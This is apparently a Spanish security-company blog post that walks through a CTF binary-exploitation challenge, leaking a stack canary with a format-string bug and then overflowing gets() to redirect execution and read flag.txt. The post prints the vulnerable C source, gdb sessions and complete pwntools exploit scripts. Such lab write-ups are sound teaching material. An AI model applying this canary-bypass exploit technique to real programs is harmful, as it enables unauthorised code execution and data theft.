blog

Cookieness: Bypass de Stack Canaries usando Format String Vulnerabilities

Ciberseguridad y Cifra

Tabla de contenidos

En este artículo se realiza la explotación de un binario vulnerable, usando para ello un reto CTF (Capture The Flag) diseñado específicamente para este propósito. «Cookieness» es un reto de categoría pwn o explotación binaria que consiste en leer un fichero denominado «flag.txt» mediante una vulnerabilidad de format string y un stack buffer overflow en un sistema Linux. Fue presentado en el CTF Universitario de Madrid por la asociación Seek N Hack.

 

Código fuente

Si el lector quiere resolver este reto en su máquina, debe crear un fichero, de nombre «flag.txt» con cualquier contenido, y compilar el código siguiente con el comando: gcc -m32 main.c -o cookieness -fstack-protector -no-pie. El código fuente también se encuentra disponible en el siguiente repositorio:

  • https://github.com/NtMerk/cookieness
#include
#include
#includechar * fileName = «flag.txt»;
char * signature = «Merk was here.»;// Unused function to print the first 100
// chars of a file passed as an argument
void print_file(char * name) {
char flag[100];FILE * fp;
fp = fopen(name, «r»);// If the file can be opened and read, print its contents
if (fgets(flag, 100, fp) != NULL)
printf(«Mostrando contenido de %s: %s», name, flag);
else
printf(«Fichero %s no encontrado.», name);
}void welcome() {
// Ask user for input
printf(«%s», «Login: «);// Get user input
char strUser[20];
fgets(strUser, 20, stdin);// Print welcome message, followed by a printf
// with a format string vulnerability
printf(«%s», «Bienvenido, «);
printf(strUser);// Get user input via vulnerable gets function
puts(«\nPuedes leer flag.txt?»);
gets(strUser);
}int main(int argc, char * argv[]) {
// Vulnerable function
welcome();
return 0;
}

 

Reconocimiento

Un primer vistazo nos muestra que se trata de un binario de 32 bits, dynamically linked y not stripped. Esto significa que ha sido compilado con símbolos, por lo que podremos leer los nombres de las funciones implementadas en el código cuando lo analicemos a fondo, entre otras cosas.

└─$ file cookieness
cookieness: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=3a32702afe6d664b62c9d
806d496072435a557e8, for GNU/Linux 3.2.0, not stripped

Si ejecutamos strings en el binario, obtendremos una pista. El string flag.txt parece ser nuestro objetivo. También se pueden leer otras cadenas referentes a la funcionalidad del binario.

└─$ strings cookieness

flag.txt
Merk was here.
Mostrando contenido de %s: %s
Fichero %s no encontrado.
Login:
Bienvenido,
Puedes leer flag.txt?

Cargando el binario con gdb y ejecutando checksec, podemos comprobar el tipo de protecciones que el binario tiene habilitadas.

  • CANARY/COOKIE
    • Un Canary o Cookie es un valor aleatorio que se genera en cada ejecución como protección ante desbordamientos de buffer de pila. Antes de finalizar cualquier función y llegar a una instrucción «ret», se comprueba que el valor no ha cambiado o se ha corrompido. Esto quiere decir que para sobrescribir EIP mediante un stack buffer overflow, necesitaremos conocer el valor de la cookie en cada ejecución.
  • NX (No eXecute)/DEP
    • NX o DEP consiste en una protección que exige que determinadas áreas en la memoria no sean ejecutables. En nuestro caso, no podremos ejecutar nuestro shellcode en el stack directamente.
gdb-peda$ checksec

CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

Ejecutando el binario podemos observar que tenemos dos entradas, de las cuales la primera se refleja por consola.

└─$ ./cookieness
Login: test1
Bienvenido, test1Puedes leer flag.txt?
test2

Realizando más pruebas podemos observar que la primera entrada tiene un format string vulnerability, y a la segunda le introducimos una gran cantidad de caracteres, resulta que es vulnerable a un buffer overflow. Sin embargo, sobrescribimos la cookie y obtenemos un stack smashing detected, ya que la protección NX ha detectado nuestro intento de explotación.

└─$ ./cookieness
Login: %x
Bienvenido, 804a065Puedes leer flag.txt?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: terminated
zsh: IOT instruction ./cookieness

Por último, ya que el binario es not stripped podemos observar los nombres de las funciones.

gdb-peda$ info functions
All defined functions:Non-debugging symbols:
0x08049000 _init

0x080491a6 print_file
0x08049243 welcome
0x080492f3 main

0x08049334 _fini

Las funciones más interesantes son print_file, welcome y main. Analizando la función print_file con cualquier decompilador nos revela que se utiliza para leer los contenidos de un fichero pasado como único argumento. Cabe destacar que esta función no se llama nunca en el binario.

unsigned int __cdecl print_file(const char *a1)
{
FILE *stream; // ST24_4
char s; // [esp+18h] [ebp-70h]
unsigned int v4; // [esp+7Ch] [ebp-Ch]v4 = __readgsdword(0x14u);
stream = fopen(a1, (const char *)&unk_804A020);
if ( fgets(&s, 100, stream) )
printf(«Mostrando contenido de %s: %s», a1, &s);
else
printf(«Fichero %s no encontrado.», a1);
return v4 – __readgsdword(0x14u);
}

 

Explotando el binario

Teniendo en cuenta lo anterior, una manera de resolver el reto consiste en:

  1. Leer el CANARY o COOKIE de la función welcome usando el format string vulnerability.
  2. Inducir un stack buffer overflow usando el CANARY recién obtenido.
  3. Redirigir EIP a la función print_file colocando en el stack un puntero a txt, ya que cuando ejecutamos strings, vimos que existía.

El printf vulnerable que nos permite leer memoria del stack se encuentra en esta dirección:

0x080492b3 <+112> call 0x8049094 <printf@plt>

Por lo que colocaremos un breakpoint. Ejecutaremos el binario hasta el breakpoint, y comprobaremos dónde se encuentra el CANARY para poder leerlo.

gdb-peda$ b * 0x080492b3
Breakpoint 1 at 0x80492b3gdb-peda$ run
Starting program: /home/merk/****/cookieness
[Thread debugging using libthread_db enabled]
Using host libthread_db library «/lib/x86_64-linux-gnu/libthread_db.so.1».
Login: testBreakpoint 1, 0x080492b3 in welcome ()

Si miramos el final de la función welcome, podemos ver cómo se compara el CANARY. Veremos que sale de [ebp-0xc].

0x080492dd <+154>: mov eax,DWORD PTR [ebp-0xc] <— aquí
0x080492e0 <+157>: sub eax,DWORD PTR gs:0x14
0x080492e7 <+164>: je 0x80492ee <welcome+171>
0x080492e9 <+166>: call 0x8049320 <__stack_chk_fail_local>

Entonces comprobamos en qué posición de ESP se encuentra el CANARY. Se encuentra a 11 DWORDS de distancia, y veremos que normalmente el último byte es «00

gdb-peda$ x/x $ebp-0xc
0xffffcdbc: 0xe4a1a300 <— los CANARY siempre terminan en 00
gdb-peda$ x/20x $esp
0xffffcd90: 0xffffcda8 0x0804a065 0xf7e21620 0x0804924f
0xffffcda0: 0xf7fbf4a0 0xf7fd7a6c 0x74736574 0xf7fb000a
0xffffcdb0: 0xffffcdf0 0xf7fbf66c 0xf7fbfb30 0xe4a1a300 <— aquí
0xffffcdc0: 0x00000001 0xf7e20ff4 0xffffcdd8 0x08049308
0xffffcdd0: 0xffffd09b 0x00000070 0xf7ffd020 0xf7c213b5

Por ello, si en la primera entrada del binario colocamos el string «%11$x», imprimiremos el CANARY. En este caso, el «11$» indica que queremos imprimir el onceavo valor del stack, y la «x» indica que queremos imprimirlo en hexadecimal.

└─$ ./cookieness
Login: %11$x
Bienvenido, 1e66b800Puedes leer flag.txt?

Ahora podemos intentar sobrescribirlo en la segunda entrada, y crashear el proceso con valores arbitrarios. Tenemos que saber a qué distancia se encuentra el CANARY de lo que sobrescribimos una vez se llama la función gets. Para ello, usaremos pattern de gdb-peda y veremos con qué offset sobrescribimos el CANARY.

gdb-peda$ b * 0x080492e0 <— en esta dirección se comprueba el CANARY
Breakpoint 1 at 0x80492e0gdb-peda$ pattern create 50
‘AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA’gdb-peda$ run
Starting program: /home/merk/****/cookieness
Login: test
Bienvenido, testPuedes leer flag.txt?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA[——————————-registers——————————–]
EAX: 0x41412d41 (‘A-AA’) <— EAX contenía el CANARY, que hemos sobrescrito
…gdb-peda$ pattern offset 0x41412d41
1094790465 found at offset: 20

Ya sabemos que el CANARY se debe sobrescribir en el offset 20. Montando el siguiente script, veremos que hemos sobrescrito el CANARY y que podemos redirigir el programa.

from pwn import *

# run the process
p = process(«./cookieness»)

gdb.attach(p, »’

break welcome

»’)

# get the 11th stack variable (the canary/cookie)
p.send(b»%11$x\n»)

# read the cookie from the abused string format vulnerability
cookie = p.readline(20).decode().split(‘, ‘)[1]
num = int(cookie, 16)
print(«Cookie = » + hex(num))

# build the payload
payload = b»A» * 20
payload += p32(num) # get to the canary and overwrite it with itself
payload += b»B» * 50

# send the payload
p.sendline(payload)
p.interactive()
p.close()

Ejecutándolo, obtenemos un SIGSEGV, redirigiendo correctamente a nuestra dirección arbitraria de memoria.

Stopped reason: SIGSEGV
0x42424242 in ?? ()

Volvemos a usar pattern para comprobar la distancia desde el CANARY hasta EIP y obtenemos que está otros 12 bytes delante (no lo muestro porque es cuestión de repetir el proceso). Ahora que podemos modificar EIP a nuestro gusto, solo nos queda apuntar a la función print_file, y pasar en el stack un puntero al string flag.txt.

gdb-peda$ break main
Breakpoint 1 at 0x80492f6gdb-peda$ rungdb-peda$ find flag.txt
Searching for ‘flag.txt’ in: None ranges
Found 4 results, display max 4 items:
cookieness : 0x804a008 («flag.txt»)
cookieness : 0x804a07f («flag.txt?»)
cookieness : 0x804b008 («flag.txt»)
cookieness : 0x804b07f («flag.txt?»)

Podemos usar cualquiera de las dos que no tienen un «?» al final. Y solo quedará construir el script final.

from pwn import *

print_file = 0x080491a6
flagtxt = 0x0804a008

# run the process
p = process(«./cookieness»)

# get the 11th stack variable (the canary/cookie)
p.send(b»%11$x\n»)

# read the cookie from the abused string format vulnerability
cookie = p.readline(20).decode().split(‘, ‘)[1]
num = int(cookie, 16)
print(«Cookie = » + hex(num))

# build the payload
payload = b»A» * 20
payload += p32(num) # get to the canary and overwrite it with itself
payload += b»B» * 12
payload += p32(print_file) # get to EIP and overwrite it with the print_file function
payload += b»C» * 4 # return address before parameters
payload += p32(flagtxt) # add an address that points to «flag.txt» to the stack as a parameter

# send the payload
p.sendline(payload)

# jackpot
print(p.recvall().decode())

p.close()

Y obtendríamos los contenidos del fichero flag.txt.

└─$ python3 exploit.py
[+] Starting local process ‘./cookieness’: pid 2417
Cookie = 0x76d0fc00
[+] Receiving all data: Done (81B)
[*] Stopped process ‘./cookieness’ (pid 2417)Puedes leer flag.txt?
Mostrando contenido de flag.txt: SNH{this_is_a_test_flag}

 

Conclusiones

En este artículo se ha realizado un bypass de la medida de protección de Stack CANARIES o COOKIES en binarios de Linux mediante una vulnerabilidad de format string. Una vez evadida, se ha utilizado un stack buffer overflow para redirigir la ejecución del programa y obtener los contenidos de un fichero del sistema objetivo.

Marcos González Sanz, Consultor en Ciberseguridad en Cipherbit-Grupo Oesía

 

 

Descubre más

SGoSat

Familia de terminales SATCOM On The Move (SOTM) para instalación vehicular y conexión estable en movilidad

SGoSat es una familia de terminales SOTM (Satellite Comms On The Move) de alta tecnología que se instalan en un vehículo, brindando la capacidad de apuntar y mantener una conexión estable con el satélite cuando el vehículo está en movimiento en cualquier tipo de condiciones.

La familia SGoSat está compuesta por terminales versátiles, que pueden instalarse en cualquier tipo de plataforma: trenes y buses, vehículos militares y / o gubernamentales, aeronaves, barcos, etc. Al haber sido diseñados originariamente para el sector militar, los terminales SGoSat son extremadamente fiables y robustos, ya que integran componentes de alto rendimiento que cumplen con las normativas medioambientales y EMI / EMC más exigentes. El producto utiliza antenas de bajo perfil y alta eficiencia, así como una unidad de posicionador y seguimiento de alto rendimiento, que permiten la operación del terminal en cualquier parte del mundo.

Con el fin de satisfacer las diversas necesidades de sus clientes, INSTER ha desarrollado terminales de banda única y terminales de doble banda en las frecuencias X, Ka y Ku.

La familia de terminales SGoSat también se puede configurar con una variada gama de radomos (incluidas opciones balísticas), adaptándose a los requisitos del cliente.